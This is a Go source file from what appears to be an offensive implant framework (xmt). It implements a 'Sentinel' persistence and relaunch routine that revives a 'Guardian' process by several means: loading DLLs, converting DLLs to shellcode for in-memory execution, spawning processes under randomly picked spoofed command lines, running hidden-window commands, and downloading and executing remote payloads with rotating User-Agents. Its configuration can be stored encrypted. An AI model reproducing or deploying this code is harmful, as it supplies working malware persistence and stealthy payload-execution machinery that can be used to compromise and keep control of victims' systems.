github.com/iDigitalFlame/xmt@v0.5.4/man/sentinel.go (about)

     1  // Copyright (C) 2020 - 2023 iDigitalFlame
     2  //
     3  // This program is free software: you can redistribute it and/or modify
     4  // it under the terms of the GNU General Public License as published by
     5  // the Free Software Foundation, either version 3 of the License, or
     6  // any later version.
     7  //
     8  // This program is distributed in the hope that it will be useful,
     9  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    10  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    11  // GNU General Public License for more details.
    12  //
    13  // You should have received a copy of the GNU General Public License
    14  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    15  //
    16  
    17  package man
    18  
    19  import (
    20  	"context"
    21  	"crypto/cipher"
    22  	"crypto/rand"
    23  	"io"
    24  	"os"
    25  	"time"
    26  
    27  	"github.com/iDigitalFlame/xmt/cmd"
    28  	"github.com/iDigitalFlame/xmt/cmd/filter"
    29  	"github.com/iDigitalFlame/xmt/data"
    30  	"github.com/iDigitalFlame/xmt/data/crypto"
    31  	"github.com/iDigitalFlame/xmt/device"
    32  	"github.com/iDigitalFlame/xmt/util"
    33  	"github.com/iDigitalFlame/xmt/util/bugtrack"
    34  	"github.com/iDigitalFlame/xmt/util/xerr"
    35  )
    36  
    37  const (
    38  	// Self is a constant that can be used to reference the current executable
    39  	// path without using the 'os.Executable' function.
    40  	Self = "*"
    41  
    42  	sentPathExecute  uint8 = 0
    43  	sentPathDLL      uint8 = 1
    44  	sentPathASM      uint8 = 2
    45  	sentPathDownload uint8 = 3
    46  	sentPathZombie   uint8 = 4
    47  
    48  	timeout    = time.Second * 5
    49  	timeoutWeb = time.Second * 15
    50  )
    51  
    52  // ErrNoEndpoints is an error returned if no valid Guardian paths could be used
    53  // and/or found during a launch.
    54  var ErrNoEndpoints = xerr.Sub("no paths found", 0x11)
    55  
    56  // Sentinel is a struct that can be used as a 'Named' arguments value to
    57  // functions in the 'man' package or can be Marshaled from a file or bytes
    58  // source.
    59  type Sentinel struct {
    60  	paths []sentinelPath
    61  	filter.Filter
    62  }
    63  type sentinelPath struct {
    64  	path  string
    65  	extra []string
    66  	t     uint8
    67  }
    68  
    69  // Check will attempt to contact any current Guardians watching on the supplied
    70  // name. This function returns false if the specified name could not be reached
    71  // or an error occurred.
    72  //
    73  // This function defaults to the 'Pipe' Linker if a nil Linker is specified.
    74  func Check(l Linker, n string) bool {
    75  	if l == nil {
    76  		l = Pipe
    77  	}
    78  	v, err := l.check(n)
    79  	if bugtrack.Enabled {
    80  		bugtrack.Track("man.Check(): l.(type)=%T n=%s, err=%s, v=%t", l, n, err, v)
    81  	}
    82  	return v
    83  }
    84  func (p *sentinelPath) valid() bool {
    85  	if bugtrack.Enabled {
    86  		bugtrack.Track("man.(*sentinelPath).valid(): p.t=%d, p.path=%s, p.extra=%s", p.t, p.path, p.extra)
    87  	}
    88  	if p.t > sentPathZombie || len(p.path) == 0 {
    89  		return false
    90  	}
    91  	if p.t > sentPathDownload && len(p.extra) == 0 {
    92  		return false
    93  	}
    94  	if p.t != sentPathDownload && p.t != sentPathExecute {
    95  		p.path = device.Expand(p.path)
    96  		if _, err := os.Stat(p.path); err != nil {
    97  			return false
    98  		}
    99  	}
   100  	if !cmd.LoaderEnabled && p.t == sentPathZombie {
   101  		return false
   102  	}
   103  	return true
   104  }
   105  
   106  // AddDLL adds a DLL execution type to this Sentinel. This will NOT validate the
   107  // path beforehand.
   108  func (s *Sentinel) AddDLL(p string) {
   109  	s.paths = append(s.paths, sentinelPath{t: sentPathDLL, path: p})
   110  }
   111  
   112  // AddASM adds an ASM execution type to this Sentinel. This will NOT validate the
   113  // path beforehand.
   114  //
   115  // This path may be a DLL file and will attempt to use the 'DLLToASM' conversion
   116  // function (if enabled).
   117  func (s *Sentinel) AddASM(p string) {
   118  	s.paths = append(s.paths, sentinelPath{t: sentPathASM, path: p})
   119  }
   120  
   121  // AddExecute adds a command execution type to this Sentinel. This will NOT validate
   122  // the command beforehand.
   123  func (s *Sentinel) AddExecute(p string) {
   124  	s.paths = append(s.paths, sentinelPath{t: sentPathExecute, path: p})
   125  }
   126  func (s *Sentinel) read(r io.Reader) error {
   127  	return s.UnmarshalStream(data.NewReader(r))
   128  }
   129  func (s *Sentinel) write(w io.Writer) error {
   130  	return s.MarshalStream(data.NewWriter(w))
   131  }
   132  func (p sentinelPath) run(f *filter.Filter) error {
   133  	if bugtrack.Enabled {
   134  		bugtrack.Track("man.(sentinelPath).run(): Running p.t=%d, p.path=%s", p.t, p.path)
   135  	}
   136  	switch p.t {
   137  	case sentPathDLL:
   138  		if bugtrack.Enabled {
   139  			bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a DLL", p.t, p.path)
   140  		}
   141  		x := cmd.NewDLL(p.path)
   142  		x.SetParent(f)
   143  		err := x.Start()
   144  		x.Release()
   145  		return err
   146  	case sentPathASM:
   147  		if bugtrack.Enabled {
   148  			bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is ASM", p.t, p.path)
   149  		}
   150  		b, err := data.ReadFile(p.path)
   151  		if err != nil {
   152  			return err
   153  		}
   154  		x := cmd.NewAsm(cmd.DLLToASM("", b))
   155  		x.SetParent(f)
   156  		err = x.Start()
   157  		x.Release()
   158  		return err
   159  	case sentPathZombie:
   160  		if bugtrack.Enabled {
   161  			bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Zombie", p.t, p.path)
   162  		}
   163  		b, err := data.ReadFile(p.path)
   164  		if err != nil {
   165  			return err
   166  		}
   167  		var a string
   168  		switch {
   169  		case len(p.extra) > 1:
   170  			a = p.extra[util.FastRandN(len(p.extra))]
   171  		case len(p.extra) == 0:
   172  			return cmd.ErrEmptyCommand
   173  		case len(p.extra) == 1:
   174  			a = p.extra[0]
   175  		}
   176  		x := cmd.NewZombie(cmd.DLLToASM("", b), cmd.Split(a)...)
   177  		x.SetParent(f)
   178  		x.SetNoWindow(true)
   179  		x.SetWindowDisplay(0)
   180  		err = x.Start()
   181  		x.Release()
   182  		return err
   183  	case sentPathExecute:
   184  		var x *cmd.Process
   185  		if p.path == Self {
   186  			if bugtrack.Enabled {
   187  				bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is Self", p.t, p.path)
   188  			}
   189  			e, err := os.Executable()
   190  			if err != nil {
   191  				return err
   192  			}
   193  			x = cmd.NewProcess(e)
   194  		} else {
   195  			if bugtrack.Enabled {
   196  				bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Command", p.t, p.path)
   197  			}
   198  			x = cmd.NewProcess(cmd.Split(p.path)...)
   199  		}
   200  		x.SetParent(f)
   201  		x.SetNoWindow(true)
   202  		x.SetWindowDisplay(0)
   203  		err := x.Start()
   204  		x.Release()
   205  		return err
   206  	case sentPathDownload:
   207  		if bugtrack.Enabled {
   208  			bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Download", p.t, p.path)
   209  		}
   210  		var a string
   211  		switch {
   212  		case len(p.extra) > 1:
   213  			a = p.extra[util.FastRandN(len(p.extra))]
   214  		case len(p.extra) == 1:
   215  			a = p.extra[0]
   216  		}
   217  		x, v, err := WebExec(context.Background(), nil, p.path, a)
   218  		if err != nil {
   219  			return err
   220  		}
   221  		x.SetParent(f)
   222  		if err = x.Start(); err != nil && len(v) > 0 {
   223  			os.Remove(v)
   224  		}
   225  		x.Release()
   226  		return err
   227  	}
   228  	if bugtrack.Enabled {
   229  		bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is unknown!", p.t, p.path)
   230  	}
   231  	return cmd.ErrNotStarted
   232  }
   233  
   234  // AddZombie adds a command execution type to this Sentinel. This will NOT validate
   235  // the command and filepath beforehand.
   236  //
   237  // The supplied vardic of strings are the spoofed commands to be ran under. The
   238  // first argument of each fake command MUST be a real binary, but the arguments
   239  // can be whatever. AT LEAST ONE MUST BE SUPPLIED FOR THIS TO BE CONSIDERED VALID.
   240  //
   241  // Multiple spoofed commands may be used to generate a randomly picked command
   242  // on each runtime.
   243  //
   244  // This path may be a DLL file and will attempt to use the 'DLLToASM' conversion
   245  // function (if enabled).
   246  func (s *Sentinel) AddZombie(p string, a ...string) {
   247  	s.paths = append(s.paths, sentinelPath{t: sentPathZombie, path: p, extra: a})
   248  }
   249  
   250  // MarshalStream will convert the data in this Sentinel into binary that will
   251  // be written into the supplied Writer.
   252  func (s Sentinel) MarshalStream(w data.Writer) error {
   253  	if err := s.Filter.MarshalStream(w); err != nil {
   254  		return err
   255  	}
   256  	if err := w.WriteUint16(uint16(len(s.paths))); err != nil {
   257  		return err
   258  	}
   259  	for i := 0; i < len(s.paths) && i < 0xFFFF; i++ {
   260  		if err := s.paths[i].MarshalStream(w); err != nil {
   261  			return err
   262  		}
   263  	}
   264  	return nil
   265  }
   266  
   267  // AddDownload adds a download execution type to this Sentinel. This will NOT validate
   268  // the URL beforehand.
   269  //
   270  // The URL will be downloaded on triggering and will be ran based of off the
   271  // 'Content-Type' HTTP header.
   272  //
   273  // The supplied vardic of strings is optional but can be used as a list of HTTP
   274  // User-Agents to be used. The strings support the 'text.Matcher' interface.
   275  //
   276  // Multiple User-Agents may be used to generate a randomly picked User-Agent on
   277  // each runtime.
   278  func (s *Sentinel) AddDownload(p string, a ...string) {
   279  	s.paths = append(s.paths, sentinelPath{t: sentPathDownload, path: p, extra: a})
   280  }
   281  
   282  // File will attempt to Marshal the Sentinel struct from the supplied file path.
   283  // This function will take any environment variables into account before loading.
   284  //
   285  // Any errors that occur during reading will be returned.
   286  func File(c cipher.Block, p string) (*Sentinel, error) {
   287  	var s Sentinel
   288  	if err := s.Load(c, device.Expand(p)); err != nil {
   289  		return nil, err
   290  	}
   291  	return &s, nil
   292  }
   293  
   294  // UnmarshalStream will attempt to read the data for this Sentinel from the
   295  // supplied Reader.
   296  func (s *Sentinel) UnmarshalStream(r data.Reader) error {
   297  	if err := s.Filter.UnmarshalStream(r); err != nil {
   298  		return err
   299  	}
   300  	n, err := r.Uint16()
   301  	if err != nil {
   302  		return err
   303  	}
   304  	s.paths = make([]sentinelPath, n)
   305  	for i := uint16(0); i < n; i++ {
   306  		if err = s.paths[i].UnmarshalStream(r); err != nil {
   307  			return err
   308  		}
   309  	}
   310  	return nil
   311  }
   312  
   313  // Save will attempt to write the Sentinel data to the supplied on-device file
   314  // path. This function will take any environment variables into account before
   315  // writing.
   316  //
   317  // If the supplied cipher is not nil, it will be used to encrypt the data during
   318  // writing, otherwise the data will be un-encrypted.
   319  //
   320  // Any errors that occur during writing will be returned.
   321  func (s *Sentinel) Save(c cipher.Block, p string) error {
   322  	// 0x242 - CREATE | TRUNCATE | RDWR
   323  	f, err := os.OpenFile(device.Expand(p), 0x242, 0644)
   324  	if err != nil {
   325  		return err
   326  	}
   327  	err = s.Write(c, f)
   328  	f.Close()
   329  	return err
   330  }
   331  
   332  // Load will attempt to read the Sentinel struct from the supplied file path.
   333  // This function will take any environment variables into account before reading.
   334  //
   335  // If the supplied cipher is not nil, it will be used to decrypt the data during
   336  // reader, otherwise the data will read un-encrypted.
   337  //
   338  // Any errors that occur during reading will be returned.
   339  func (s *Sentinel) Load(c cipher.Block, p string) error {
   340  	// 0x242 - READONLY
   341  	f, err := os.OpenFile(device.Expand(p), 0, 0)
   342  	if err != nil {
   343  		return err
   344  	}
   345  	err = s.Read(c, f)
   346  	f.Close()
   347  	return err
   348  }
   349  func (p sentinelPath) MarshalStream(w data.Writer) error {
   350  	if err := w.WriteUint8(p.t); err != nil {
   351  		return err
   352  	}
   353  	if err := w.WriteString(p.path); err != nil {
   354  		return err
   355  	}
   356  	if p.t < sentPathDownload {
   357  		return nil
   358  	}
   359  	return data.WriteStringList(w, p.extra)
   360  }
   361  
   362  // Find will initiate the Sentinel's Guardian launching routine and will seek
   363  // through all it's stored paths to launch a Guardian.
   364  //
   365  // The Linker and name passed to this function are used to determine if the newly
   366  // launched Guardian comes up and responds correctly (within the appropriate time
   367  // constraints).
   368  //
   369  // This function will return true and nil if a Guardian was launched, otherwise
   370  // the boolean will be false and the error will explain the cause.
   371  //
   372  // Errors caused by Sentinel paths will NOT stop the search and the most likely
   373  // error returned will be 'ErrNoEndpoints' which results when no Guardians could
   374  // be loaded.
   375  func (s *Sentinel) Find(l Linker, n string) (bool, error) {
   376  	if bugtrack.Enabled {
   377  		bugtrack.Track("man.(*Sentinel).Find(): Starting with len(s.paths)=%d", len(s.paths))
   378  	}
   379  	if len(s.paths) == 0 {
   380  		return false, ErrNoEndpoints
   381  	}
   382  	var (
   383  		f   = &s.Filter
   384  		err error
   385  	)
   386  	if f.Empty() {
   387  		f = filter.Any
   388  	}
   389  	for i := range s.paths {
   390  		if !s.paths[i].valid() {
   391  			continue
   392  		}
   393  		if bugtrack.Enabled {
   394  			bugtrack.Track("man.(*Sentinel).Find(): n=%s, i=%d, s.paths[i].t=%d", n, i, s.paths[i].t)
   395  		}
   396  		if err = s.paths[i].run(f); err != nil {
   397  			if bugtrack.Enabled {
   398  				bugtrack.Track("man.(*Sentinel).Find(): n=%s, i=%d, s.paths[i].t=%d, err=%s", n, i, s.paths[i].t, err.Error())
   399  			}
   400  			continue
   401  		}
   402  		if bugtrack.Enabled {
   403  			bugtrack.Track("man.(*Sentinel).Find(): Wake passed, no errors. Checking l.(type)=%T, n=%s now.", l, n)
   404  		}
   405  		if time.Sleep(timeout); !Check(l, n) {
   406  			if bugtrack.Enabled {
   407  				bugtrack.Track("man.(*Sentinel).Find(): Wake l.(type)=%T, n=%s failed.", l, n)
   408  			}
   409  			continue
   410  		}
   411  		if bugtrack.Enabled {
   412  			bugtrack.Track("man.(*Sentinel).Find(): Wake l.(type)=%T, n=%s passed!", l, n)
   413  		}
   414  		return true, nil
   415  	}
   416  	if err == nil {
   417  		err = ErrNoEndpoints
   418  	}
   419  	return false, err
   420  }
   421  
   422  // Wake will attempt to locate a Gurdian with the supplied Linker and name. If
   423  // no Guardian is found, the 'Find' function will be triggered and will start
   424  // the launching routine.
   425  //
   426  // This function will return true and nil if a Guardian was launched, otherwise
   427  // the boolean will be false and the error will explain the cause. If the error
   428  // is nil, this means that a Guardian was detected.
   429  //
   430  // Errors caused by Sentinel paths will NOT stop the search and the most likely
   431  // error returned will be 'ErrNoEndpoints' which results when no Guardians could
   432  // be loaded.
   433  func (s *Sentinel) Wake(l Linker, n string) (bool, error) {
   434  	if Check(l, n) {
   435  		return false, nil
   436  	}
   437  	return s.Find(l, n)
   438  }
   439  
   440  // Read will attempt to read the Sentinel data from the supplied Reader. If the
   441  // supplied cipher is not nil, it will be used to decrypt the data during reader,
   442  // otherwise the data will read un-encrypted.
   443  func (s *Sentinel) Read(c cipher.Block, r io.Reader) error {
   444  	if c == nil || c.BlockSize() == 0 {
   445  		return s.read(r)
   446  	}
   447  	var (
   448  		k      = make([]byte, c.BlockSize())
   449  		n, err = r.Read(k)
   450  	)
   451  	if err != nil {
   452  		return err
   453  	}
   454  	if n != c.BlockSize() {
   455  		return io.ErrUnexpectedEOF
   456  	}
   457  	i, err := crypto.NewBlockReader(c, k, r)
   458  	if err != nil {
   459  		return err
   460  	}
   461  	err = s.read(i)
   462  	i.Close()
   463  	return err
   464  }
   465  func (p *sentinelPath) UnmarshalStream(r data.Reader) error {
   466  	if err := r.ReadUint8(&p.t); err != nil {
   467  		return err
   468  	}
   469  	if bugtrack.Enabled {
   470  		bugtrack.Track("man.(*sentinelPath).UnmarshalStream(): Read one p.t=%d", p.t)
   471  	}
   472  	if err := r.ReadString(&p.path); err != nil {
   473  		return err
   474  	}
   475  	if p.t < sentPathDownload {
   476  		return nil
   477  	}
   478  	return data.ReadStringList(r, &p.extra)
   479  }
   480  
   481  // Write will attempt to write the Sentinel data to the supplied Writer. If the
   482  // supplied cipher is not nil, it will be used to encrypt the data during writing,
   483  // otherwise the data will be un-encrypted.
   484  func (s *Sentinel) Write(c cipher.Block, w io.Writer) error {
   485  	if c == nil || c.BlockSize() == 0 {
   486  		return s.write(w)
   487  	}
   488  	var (
   489  		k      = make([]byte, c.BlockSize())
   490  		_, err = rand.Read(k)
   491  	)
   492  	if err != nil {
   493  		return err
   494  	}
   495  	n, err := w.Write(k)
   496  	if err != nil {
   497  		return err
   498  	}
   499  	if n != c.BlockSize() {
   500  		return io.ErrShortWrite
   501  	}
   502  	o, err := crypto.NewBlockWriter(c, k, w)
   503  	if err != nil {
   504  		return err
   505  	}
   506  	err = s.write(o)
   507  	o.Close()
   508  	return err
   509  }
   510  
   511  // WakeMultiFile is similar to 'WakeFile' except this function will attempt to load
   512  // multiple Sentinels from the supplied vardic of string paths.
   513  //
   514  // This function will first check for the existence of a Guardian with the supplied
   515  // Linker and name before attempting to load any Sentinels.
   516  //
   517  // Sentinels will be loaded in a random order then the 'Find' function of each
   518  // one will be ran.
   519  //
   520  // If the supplied cipher is not nil, it will be used to decrypt the data during
   521  // reader, otherwise the data will read un-encrypted.
   522  //
   523  // This function will return true and nil if a Guardian was launched, otherwise
   524  // the boolean will be false and the error will explain the cause. If the error
   525  // is nil, this means that a Guardian was detected.
   526  func WakeMultiFile(l Linker, name string, c cipher.Block, paths []string) (bool, error) {
   527  	if len(paths) == 0 {
   528  		return false, ErrNoEndpoints
   529  	}
   530  	if len(paths) == 1 {
   531  		_, r, err := WakeFile(l, name, c, paths[0])
   532  		return r, err
   533  	}
   534  	if Check(l, name) {
   535  		return false, nil
   536  	}
   537  	// NOTE(dij): Instead of running concurrently, do these randomly, but only
   538  	//            pick len() many times. Obviously, we might not cover 100% but
   539  	//            *shrug*.
   540  	//
   541  	//            We can cover duplicates though with 'e'.
   542  	var (
   543  		e   = make([]*Sentinel, len(paths))
   544  		r   bool
   545  		err error
   546  	)
   547  	for i, v := 0, 0; i < len(paths); i++ {
   548  		if v = int(util.FastRandN(len(paths))); e[v] == nil {
   549  			if e[v], err = File(c, paths[v]); err != nil {
   550  				continue
   551  			}
   552  		}
   553  		/*} else {
   554  			// NOTE(dij): Should we run again already loaded entries?
   555  			//            Defaults to yes.
   556  		}*/
   557  		if r, err = e[v].Find(l, name); err != nil {
   558  			if bugtrack.Enabled {
   559  				bugtrack.Track("man.WakeMultiFile(): Find v=%d, returned error err=%s", v, err)
   560  			}
   561  			continue
   562  		}
   563  		if r {
   564  			return true, nil
   565  		}
   566  	}
   567  	return false, nil
   568  }
   569  
   570  // WakeFile will attempt to load a Sentinel from the supplied string path if a
   571  // Guardian cannot be detected with the supplied Linker and name.
   572  //
   573  // If no Guardian was found the Sentinel will be loaded and the 'Find' function
   574  // one will be ran.
   575  //
   576  // If the supplied cipher is not nil, it will be used to decrypt the data during
   577  // reader, otherwise the data will read un-encrypted.
   578  //
   579  // This function will return true and nil if a Guardian was launched, otherwise
   580  // the boolean will be false and the error will explain the cause. If the error
   581  // is nil, this means that a Guardian was detected.
   582  func WakeFile(l Linker, name string, c cipher.Block, path string) (*Sentinel, bool, error) {
   583  	if Check(l, name) {
   584  		return nil, false, nil
   585  	}
   586  	s, err := File(c, path)
   587  	if err != nil {
   588  		return nil, false, err
   589  	}
   590  	r, err := s.Wake(l, name)
   591  	return s, r, err
   592  }